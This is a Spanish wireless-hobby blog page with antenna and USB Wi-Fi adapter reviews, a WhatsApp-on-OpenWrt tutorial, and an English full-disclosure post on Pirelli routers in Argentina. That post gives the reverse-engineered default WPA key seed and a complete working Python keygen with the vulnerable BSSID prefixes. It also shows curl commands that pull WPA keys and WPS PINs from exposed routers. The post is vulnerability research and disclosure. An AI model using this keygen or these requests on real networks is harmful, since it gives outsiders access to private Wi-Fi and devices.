Archivo de la categoría: Hardware

Componentes y materiales para auditorias wireless

Belgrano Mexico «Coalt»

Adelanto de la nueva antena de panel del «Proyecto Belgrano» . Una antena de alta eficiencia , fácil y rápida de hacer . Nada que ver con las antenas de panel comerciales , grandes , ineficientes y complicadas. El nuevo «Belgrano Mexico» es una antena de alta eficiencia en la mitad de tamaño de una antena comercial. Como todas las antenas del «Proyecto Belgrano» es una antena de libre difusión , solamente pido que nombréis las fuentes y defendáis su nombre porque con orgullo lleva el nombre de «Mexico», y el que tenga entendimiento que entienda . En éste vídeo vamos a ver recepciones de 250km , solamente recepción , mas adelante intentaré un enlace de muy larga distancia. El «Belgrano Mexico» siendo una antena de panel compite por primera vez con antenas parabólicas de tamaño medio. Será publicada en el último trimestre de 2017 como siempre con planos detallados y soporte para su construcción . Si eres webmaster , moderador , blogger o docente y quieres publicar sin animo de lucro el lanzamiento del «Belgrano Mexico» puedes dirigirte a « teyolia@protonmail.com» y tendrás toda la información antes del lanzamiento.
Contenido no disponible.
Por favor, acepta las cookies haciendo clic en el aviso

ALFA AWUS036 AC : Presentación y pruebas

Aun que este adaptador usb wifi ya lleva cierto tiempo en el mercado , nos hemos decidido a presentarlo en esta fecha después de recibir la buena noticia de su compatibilidad en modo monitor. Si bien en este modo está empezando a dar sus primeros pasos , no está de más hacerse con uno de estos fantásticos adaptadores que funcionan fenomenal mente en la banda de 2.4 y 5 ghz y a su vez , comprobar como evoluciona en Wifislax . Este adaptador está disponible en la tienda del foro  Ciudad Wireless a un precio de 34,45 Euros. Recordaros una vez más que por ser miembros de este foro , el envío del producto es gratuito , con lo cual podremos obtener este adaptador a un precio sin competencia. En la página oficial de Alfa Network podemos encontrar toda la información de este adaptador , especificaciones técnicas y enlaces de descarga a la aplicación y a su driver correspondiente. Alfa AWUS036 AC . Imágenes y características físicas. Contenido de la caja o embalaje del producto : 2 antenas de 5 dbi , cable usb de 1 metro con soporte tipo cuna para conectar el adaptador en vertical . Cd de instalación de software y drivers para Linux , mac y Windows . Folleto guía de usuario y pegatina Alfa Network . Fotos de la placa pcb y sus respectivos módulos de potencia ( Sige 5022T) Dataseet de los dos módulos de potencia Sige 5022T Pruebas de potencia a 2.4 ghz en windows 10 y en wifislax Decir primeramente , que aun que en las opciones avanzadas del controlador en windows 10 ofrece muchas configuraciones tando de tx como rx , cada cual habrá de ir probando cual es la configuración adecuada de los mismos para afinar el rendimiento del chipset. Windows 10=20 db ( 100mW) Hemos realizado test de velocidad y subida de videos a youtube para tratar de capturar con el power meter el máximo de potencia tanto con el estandart B , G o N . La máxima potencia alcanzada ha sido la que muestra la siguiente captura. (vimos un par de segundos subir a 21 dbm pero no pudimos capturar ese momento) Wifislax=22 db ( 158 mW) La grata sorpresa nos la llevamos en wifislax obteniendo mas potencia en dbm Esto nos hace sospechar que windows posiblemente esconda alguna configuración para sacar mas potencia aun a este adaptador usb wifi AC. Estaremos al tanto de ello para informar sobre cualquier cambio al respecto. Como el medidor de potencia en milivatios que utilizamos solo soporta la banda de los 2.4 ghz tendremos que fijarnos de los datos que nos ofrece el datasheet del los dos módulos de potencia que incorpora el adaptador Alfa awus036 AC . Dataseet de los dos módulos de potenciaSige 5022T Alfa awus036 AC en windows 10 El driver de este adaptador ( Realtek RTL8812AU) tiene diversas configuraciones a las que accederemos desde el administrador de dispositivos. Seleccionaremos después los parámetros que mejor nos convengan en las opciones avanzadas del driver RTL8812AU. Algunos de los parámetros sirven para configurar el estandar que queramos utilizar, ( obviamente si no disponemos de un router que soporte el estándar AC debemos de seleccionar la opción b/g/n). En otros pueden servi para configurar el tx o rx  para mejorar así el rendimiento . Añadiremos nuestras conclusiones cuando ampliemos las pruebas a mas distancia para poder cotejar resultados. Pruebas de rendimiento Vamos a realizar algunos test de velocidad para poder observar el rendimiento máximo de este adaptador Alfa AWUS036 AC en los estandars AC y N por ser estos los que mayor rendimiento y velocidad en la transmisión de datos tato de subida como de bajada en una red ONO 300 megas de bajada y 30 de subida de datos[/color]. Test de velocidad en estandar AC en red ONO 300/30 megas. Test de velocidad en estandar N Como es lógico , los resultados variaran en función de la distancia , de la cantidad y calidad de señal que nos llega al punto receptor y del uso o consumo de ancho de banda que este soportando esa red. Mas adelante introduciremos datos sobre pruebas a distancia en un tema nuevo , aun que no lo consideramos urgente o relevante ya que esos resultados son únicos en cada situación y lugar donde se efectúen esas pruebas . Para poder comparar resultados de rendimiento máximo entre esta Alfa Awus036 AC podemos echar un vistazo a este tema para poder cotejar resultados en test de velocidad con otros adaptadores AC como el Tp-Link Archer T2UH AC 600 y os pueda servir de orientacion. MODO MONITOR EN WIFISLAX 64-1.0 Aún que la cosa avanza lentamente , ya podemos comenzar a probar estos adaptadores Alfa AC y Alfa ACH en modo monitor . Lo primero que debemos hacer es descargar el módulo rtl8812au-master.xzm e introducirlo en la carpeta Wifislax/módules. De esta forma nos evitamos tener que estar cargando el driver mediante comandos al sistema. La buena noticia que nos trae la Alfa awus036 AC es que por fín ,a un adaptador usb wifi (mas bien su driver rtl8812au) se le puede baja o subir la potencia mediante comandos . Hasta ahora , por mas publicidad que se ha podido leer en otros sitios durante años , (a excepción de la alfa awus036 H con alfatools , aplicación que dejó de funcionar hace años en wifislax) ningún adaptador a sido susceptible de poder variar su potencia, ni mediante comandos ni módulos xzm ni nada parecido. He aquí el video en el que podemos ver que aun que de forma poco precisa (tarda bastante tiempo en reflejar la subida de potencia después de meter el comando) como se puede regular los db de nuestra alfa Ac.
Contenido no disponible.
Por favor, acepta las cookies haciendo clic en el aviso
Se va avanzando en la compatibilidad del chipset realtek rtl8812au gracias a la ayuda conjunta de muchos users.Esperamos que pronto sea 100% compatible con todas las aplicaciones y herramientas de wifislax. En este enlace podes seguir la evolución y soporte sobre la funcionalidad de este driver en modo monitor , también contribuir o dar ideas a su desarroyo en el mismo. Os iremos informando también en este mismo tema. Conclusiones Alfa network se ha puesto las pilas en esta primera generación de adaptadores usb wifi AC , consiguiendo que en windows . Esta ALFA AWUS036 ac obtien un rendimiento excelente en navegación tanto en windows (10) como en wifislax . Con el estandar AC el rendimiento es extraordinario , alcanzando tasas de transmisión de datos muy elevadas . En 2.4 ghz el adaptador se comporta de una manera mas eficaz si cabe . Para ser un adaptador de potencia comedida en esta banda (B;G;N) , ofrece unos resultados superiores a la gran mayoría de adaptadores de la competencia . La sensibilidad del chipset es superior , la construccion es robusta , y la calidad de sus chipset de potencia Sige junto con unos componentes electrónicos de calidad van a hacer de esta ALFA AWUS036 un duro rival a batir para la competencia. Este adaptador está disponible en la tienda del foro  Ciudad Wireless Recordaros una vez más que por ser miembros de este foro , el envío del producto es gratuito Iremos ampliando el tema según se vaya avanzado el soporte a su chipset en modo monitor y tambien ampliar pruebas de distancia en exteriores. Un saludo y gracias. orion999 Seguridad Wireless.net

Default WPA key generation algorithm for Pirelli routers in Argentina

Introduction

arnetrouter
Sticker with default settings
A couple of years ago whether I do not remember badly, I was doing reverse engineering in some Spanish routers deployed by Pirelli as well. After I extracted the firmware and found out a suspicious library with many references to key generation’s functions everything was over. Unfortunately, I could not recover the algorithm itself. Principally, because those routers were not using the same algorithm for generating default keys and simply because such algorithm was not explicitly there. Shit happens! However, as I could not reveal the algorithm then decided to try another way to recover keys. Eventually, I realised that these routers were vulnerable to unauthorized and unauthenticated remote access and any adversary could fetch HTML code from our public IP address. Plenty of HTMLs were able to be downloaded without any restriction, meaning a huge leakage. Being vulnerable to a bunch of evil attacks. This remote information disclosure can be seen on this CVE-2015-0554. On the other side, I do not know whether Argentinian routers are also vulnerable to this vulnerability. Feel free to try it out and let me know too. Just to see how easy was to achieve those keys in the HomeStation(essids-like WLAN_XXXX) in Spain, a simple curl command was enough:
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "WLAN_"
                  <option value='0'>WLAN_DEAD</option>
 
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var wpapskkey"
var wpaPskKey = 'IsAklFHhFFui1sr9ZMqD';
 
$ curl -s http://${IP_ADDRESS}/wlsecurity.html | grep -i "var WscDevPin"
var WscDevPin    = '12820078';
 
Today I am gonna explain how I reverse engineered a MIPS library in order to recover the default WPA key generation algorithm for some Argentinian routers deployed by Pirelli. Concretely the router affected is the model P.DG-A4001N. First of all, I am neither Argentinian nor live there. Nevertheless, accidentally I observed some stickers from Pirelli routers in a random forum and as an user had already publicly published the firmware for those routers then I decided to give a try. As I still remembered the file where I dug into for the Spanish routers, I rapidly tried to recover the algorithm in these routers. Next writing is the way I followed until to achieve it.

Reverse-engineering the default key generation algorithm

In this section, we are going to reverse engineer a MIPS library, /lib/private/libcms.core, found out in the firmware itself. First of all, let us comment that the firmware was extracted for another user (fernando3k) and subsequently extracted by using Binwalk and firmware-mod-kit. Once was mounted into our system, we found out a function called generatekey. As you have seen, symbols have not been removed in binaries and external function names are still there because dynamic compilation. This help us a lot in our reverse engineering task. On top of that, we rapidly saw how this function was calling to another one called generatekey_from_mac. At this moment, I decided to give a go to this challenge. Before get started, IDA Pro can help us with the cross references (Xrefs to-from in IDA Pro) between functions. Let’s see how functions are called in the library. (Zoom pictures in to see properly)
Call flow from generateKey
Call flow from generateKey
Really looking great! Now let’s look at the cross references. We have figured out some tips:
  1. generatekey calls generatekey_from_mac. This allow us to suppose that the mac address is involved in the key generation algorithm. Besides, getPBSHwaddr returns a mac address and it is also called by generatekey. Verification was carried out after checking how getPBSHwaddr returned the value of /var/hwaddr ( “ifconfig %s > /var/hwaddr “)
  2. SHA256 cryptographic hash function is also involved. We then know that our key is coming from a well-known hash function. This way to generate WPA keys is very popular in some vendors because the feeling of “randomness”. Digging into this function will give us the main structure of our algorithm.
  3. The function createWPAPassphraseFromKey is called by wlWriteMdmDefault ,which also calls to generatekey as well. Hence, we discover a function called bintoascii which is basically responsible to convert binary to ascii data.
  4. The SSID is also created from the mac address although it is not relevant for our task.
 
Call flow for createWPAPassphraseFromKey
Call flow for createWPAPassphraseFromKey
Now we must dissect the generatekey_from_mac function and its SHA256 callings to figure out how many parameters are being sent as input data. Before calling generatekey, a string “1236790” is sent to this function as first argument ($a3). Nonetheless, we have to guess which is the right order for the SHA256 function, I mean how many updates there are. If we observe the below picture, we will see this step.
createWPApassphrasefromkey
Dissasembly of wlWriteMdmDefault
From generateKey_from_mac we realise that: (Look at below image)
  1. First argument is located at offset 0x000d29e0
  2. Second argument is the string we discovered previously (“1236790”)
  3. Third argument it has to be the mac address because there is an instruction load immediate with the value 6. Since a mac address is 6 bytes, we can try it out now.
sha256_seed
Dissasembly of generateKey_from_mac
As we know that the first argument is located at the offset 0xd29e0, just a jump there and let’s reveal the secret seed used in the SHA256. Now we have guessed the first argument, and we can prepare those 32 bytes into a byte-array structure to generate the SHA256 hash later on. This secret seed has been used by Pirelli too in other countries like Italy or Austria (Look at the references on the source code for more info). Furthermore, below that we can also distinguish the charset finally used to generate keys with.
seed
Secret data found out in the library.
In the end, we conclude that the algorithm is as follows: (mac address needs to be incremented by 1)

SHA256(secret_seed+”1236790″+mac_address)

More details on how keys are eventually generated in this python function:
def genkey(mac):
    seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
 
    lookup  = '0123456789abcdefghijklmnopqrstuvwxyz'
   
    sha256 = hashlib.sha256()
    sha256.update(seed)
    sha256.update('1236790')
    sha256.update(mac)
 
    digest = bytearray(sha256.digest())
       
    return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])

Problems

Since I attempted to do a responsible disclosure and neither ADB Pirelli nor Arnet Argentina were interested to discuss the problem, I have finally decided to do full disclosure to speed up the process of fixing. It looks like the only way with some vendors, just enforce them to replace routers for avoiding intrusions. Many things can happen whether your router with SSID Wifi-Arnet-XXXX has the default password. For your information, default passwords are located in a sticker at the bottom of routers. If you are owner of these networks, please change your password as soon as possible. You should always change the default passwords, though. An adversary, within of the wifi range, could access to your network and commit any sort of fraud. Be safe and change the passwords right now!

Timeline

2014-09-11 Found the algorithm 2014-09-12 Send a message to @ArnetOnline via Twitter @enovella_ 2014-09-15 Send a message via website, still looking for a simple mail 2014-09-16 Send another message to Arnet via website.First reply via twitter where they redirect me to the website form. 2014-09-19 Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key 2014-09-20 More twitter PM about the same. They do not want to be aware about the problem though. 2014-09-23 I assume that Arnet does not care about its clients’ security at all regarding its little interest. 2014-09-24 I send the problem to the vendor ADB Pirelli via website form 2014-09-28 I send the problem to the vendor ADB Pirelli via email to Switzerland 2015-01-05 Full disclosure

Proof-of-concept

This proof-of-concept and many Pirelli default key generation algorithms might be found at my Bitbucket repository. I hope you can use them. Also a copy&paste of the first version can be looked at below. To be installed just make sure you got git installed on your system and then run:
$ git clone https://dudux@bitbucket.org/dudux/adbpirelli.git
$ python wifiarnet.py
 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
'''
@license: GPLv3
@author : Eduardo Novella
@contact: ednolo[a]inf.upv.es
@twitter: @enovella_
 
-----------------
[*] Target      :
-----------------
Vendor           : ADB broadband Pirelli
Router           : Model P.DG-A4001N
ISP              : Arnet Telecom Argentina
Possible-targets : http://hwaddress.com/?q=ADB%20Broadband%20Italia
Firmware         : http://foro.seguridadwireless.net/puntos-de-acceso-routers-switchs-y-bridges/obtener-firmware-adb-p-dg-a4001n-%28arnet-telecom-argentina%29/  
 
-----------------
[*] References  :
-----------------
[0] [AUSTRIA] A1/Telekom Austria PRG EAV4202N Default WPA Key Algorithm Weakness    http://sviehb.wordpress.com/2011/12/04/prg-eav4202n-default-wpa-key-algorithm/
[1] [ITALY]   Alice AGPF: The algorithm!                                            http://wifiresearchers.wordpress.com/2010/06/02/alice-agpf-lalgoritmo/
 
-----------------
[*] Test vectors :
-----------------
http://www.arg-wireless.com.ar/index.php?topic=1006.msg6551#msg6551
 
-----------------------
[*] Acknowledgements  :
-----------------------
Thanks to fernando3k for giving me the firmware in order to do reverse-engineering on it, and christian32 for showing me a bunch of test vectors.
 
-----------------
[*] Timeline    :
-----------------
2014-09-11  Found the algorithm
2014-09-12  Send a message to @ArnetOnline via Twitter @enovella_
2014-09-15  Send a message via website, still looking for a simple mail (http://www.telecom.com.ar/hogares/contacto_tecnico.html)
2014-09-16  Send another message to Arnet via website. First reply via twitter where they redirect me to the website form.
2014-09-19  Direct message via twitter. I talk with them about the critical vulnerability and offer them an email with PGP key
2014-09-20  More twitter PM about the same. They do not want to be aware about the problem though.
2014-09-23  I assume that Arnet does not care about its clients' security at all regarding its little interest.
2014-09-24  I send the problem to the vendor ADB Pirelli via website form
2014-09-28  I send the problem to the vendor ADB Pirelli via email to Switzerland
2015-01-05  Full disclosure
 
-----------------
[*] TODO        :
-----------------
1.- Reverse-engineering the function generateSSIDfromTheMac. It is not relevant though.
2.- Extract more firmwares from others vendors and send them to me.
 
'''
 
import re
import sys
import hashlib
import argparse
 
VERSION     = 1
SUBVERSION  = 0
DATEVERSION = '2014-09-11'
URL         = 'http://www.ednolo.alumnos.upv.es'
 
def genkey(mac,stdout='True'):
    seed = ('\x64\xC6\xDD\xE3\xE5\x79\xB6\xD9\x86\x96\x8D\x34\x45\xD2\x3B\x15' +
            '\xCA\xAF\x12\x84\x02\xAC\x56\x00\x05\xCE\x20\x75\x91\x3F\xDC\xE8')
 
    lookup  = '0123456789abcdefghijklmnopqrstuvwxyz'
   
    sha256 = hashlib.sha256()
    sha256.update(seed)
    sha256.update('1236790')
    sha256.update(mac)
 
    digest = bytearray(sha256.digest())
 
    if (stdout):
        print "[+] SHA256  : %s" % sha256.hexdigest()
       
    return ''.join([lookup[x % len(lookup)] for x in digest[0:10]])
 
 
def printTargets():
        print "[+] Possible vulnerable targets so far:"
        for t in targets:
            print ("\t bssid: {0:s}:XX:XX:XX \t essid: Wifi-Arnet-XXXX".format(t.upper()))
 
        sys.exit()
 
def checkTargets(bssid):
        supported = False
        for t in targets:
            if ( bssid.upper().startswith(t) ):
                supported = True
                break
        if (not supported):
            print "[!] Your bssid looks like not supported! Generating anyway."
       
def main():
   
    global targets
    version     = " {0:d}.{1:d}  [{2:s}] ----> {3:s}".format(VERSION,SUBVERSION,DATEVERSION,URL)
    targets = ['00:08:27','00:13:C8','00:17:C2','00:19:3E','00:1C:A2','00:1D:8B','00:22:33','00:8C:54',
    '30:39:F2','74:88:8B','84:26:15','A4:52:6F','A4:5D:A1','D0:D4:12','D4:D1:84','DC:0B:1A','F0:84:2F']
   
    parser = argparse.ArgumentParser(description='''>>> PoC WPA keygen for WiFi Networks deployed by Arnet in Argentina. So far
                                                 only WiFi networks with essid like Wifi-Arnet-XXXX and manufactured by Pirelli are
                                                 likely vulnerable. See http://ednolo.alumnos.upv.es/ for more details.
                                                 Twitter: @enovella_  and   email: ednolo[at]inf.upv.es''',
                                                 epilog='''(+) Help: python %s -b 74:88:8B:AD:C0:DE ''' %(sys.argv[0])
                                    )
   
    maingroup = parser.add_argument_group(title='required')
    maingroup.add_argument('-b','--bssid', type=str, nargs='?', help='Target mac address')
    parser.add_argument('-v', '--version', action='version', version='%(prog)s'+version)
    command_group = parser.add_mutually_exclusive_group()
    command_group.add_argument('-l','--list', help='List all vulnerable targets (essid Wifi-Arnet-XXXX)', action='store_true')
   
    args = parser.parse_args()
 
    if args.list:
        printTargets()
    elif args.bssid:
        mac_str = re.sub(r'[^a-fA-F0-9]', '', args.bssid)
        if len(mac_str) != 12:
            sys.exit('[!] Check MAC format!\n')
 
        try:
            mac = bytearray.fromhex('%012x' %(int(mac_str,16) +1))
        except:
            sys.exit('[!] Use real input :)')
 
        checkTargets(args.bssid)
        print '[+] SSID    : Wifi-Arnet-XXXX'
        print '[+] MAC     : %s' % args.bssid
        print '[+] WPA key : %s' % (genkey(mac,False))
    else:
        parser.print_help()
 
if __name__ == "__main__":
    main()
00:30

Test de potencia de salida Alfa awus036H

La alfa 1 vatio es gracias a su software , de esos raros dispositivos que se les puede adaptar la potencia según conveniencia , moviendo la barra de configuración del tx power entre el 0% y el 100% del potencia de salida del adaptador. Este es el resultado al 0% de potencia en el parámetro del tx power. 100% de potencia en el parámetro tx power Excepcionalmente la hemos visto alcanzar los 29 dbm en alguna medición unos segundos , así que si sumamos el margen de tolerancia que pueda tener el medidor swr/tx power podemos decir que la alfa 1V puede llegar a alcanzar el vatio de potencia , aun que realmente trabaja a 28 dbm al 100% de potencia en el rendimiento habitual del adaptador. Fuente: Test de potencia en milivatios/dbm de adaptadores usb wifi by Torpedo

[Tutorial] Whatsapp desde OpenWrt

Autor: raphik Hace unos días leí por primera vez acerca de Yowsup. Yowsup es una librería escrita en Python por el egipcio Tarek Galal. Esta librería permite iniciar sesión y utilizar el servicio de Whatsapp, poniendo a disposición del programador todas las capacidades de un cliente oficial de Whatsapp. Afortunadamente para los no programadores, Yowsup se distribuye con yowsup-cli, una aplicación que permite conectarse y utilizar el servicio Whatsapp directamente desde la línea de comandos.

Python es un lenguaje interpretado de programación de código abierto creado por el holandés Guido van Rossum.

Dicho esto, nos ponemos manos a la obra.

INSTALACIÓN DE PYTHON, PYTHON-OPENSSL Y DEL MÓDULO DATEUTIL.

1. Instalar Python con soporte para acceso seguro a sitios HTTPS. Desde un terminal de OpenWrt,
Code:
opkg update opkg install python python-openssl
2. Instalar el módulo dateutil.
2.1. Primero hay que descargar en el PC el fichero python-dateutil-1.0.tar.bz2 de la página http://labix.org/python-dateutil. Es posible que funcione con otras versiones posteriores, pero ésta es la que yo he probado y va bien.
2.2 Descomprimir el fichero en el PC.
2.3 Copiar la carpeta descomprimida “python-dateutil-1.0” en el router.
2.4. Desde un terminal de OpenWrt, situarse en la carpeta python-dateutil-1.0 del router y ejecutar
Code:
python setup.py install


INSTALACIÓN DE YOWSUP.

1. Descargar en el PC el fichero comprimido yowsup-master.zip de la página https://github.com/tgalal/yowsup (botón Download ZIP).

2. Descomprimir el fichero en el PC.

3. Copiar la carpeta descomprimida “yowsup-master” en el router.


CONFIGURACIÓN.

1. Situarse en la carpeta del router yowsup-master/src

2. Editar el fichero config.example y dejarlo así (sustituye “miteléfono” por tu número de móvil)
Code:
cc= 34 phone= 34miteléfono id= password=

3. Teclear el comando 
Code:
python yowsup-cli -c config.example –requestcode sms
En unos segundos llega al móvil un SMS con un código con formato XXX-XXX. Si prefieres recibir un mensaje de voz, teclea
python yowsup-cli -c config.example –requestcode voice.

4. Teclear el comando (sustituir XXX-XXX por el código recién recibido)
Code:
python yowsup-cli -c config.example –register XXX-XXX
Whatsapp genera y envía al router una contraseña (línea pw:). Copiarlo manualmente en el fichero config.example
Code:
cc= 34 phone= 34miteléfono id= password= contraseña


ENVÍO DE MENSAJES WHATSAPP.

Para enviar un mensaje al teléfono 34123456789 (sustituir por un número real con el prefijo del país)
Code:
python yowsup-cli -c config.example -s 34123456789 “Mensaje de prueba”


SESIÓN INTERACTIVA.
Para iniciar una conversación interactiva con el teléfono 34123456789, teclear
Code:
python yowsup-cli -c config.example -i 34123456789

PARA TERMINAR.
Añadir que, según su autor, Yowsup pone al alcance del programador Python todas las características de Whatsapp:
• Registro
• Envío y recepción de mensajes de texto
• Envío y recepción multimedia (imágenes, vídeos, audio, localización, tarjetas de visita)
• Grupos (crear, abandonar, unirse, actualizar foto, actualizar asunto)
• Visualizar fotos y estados de otros usuarios
• Establecer la foto y el estado de tu perfil
• Cambiar el icono del grupo
• Y algunas cosillas más…
Documentación de la librería (en inglés) aquí.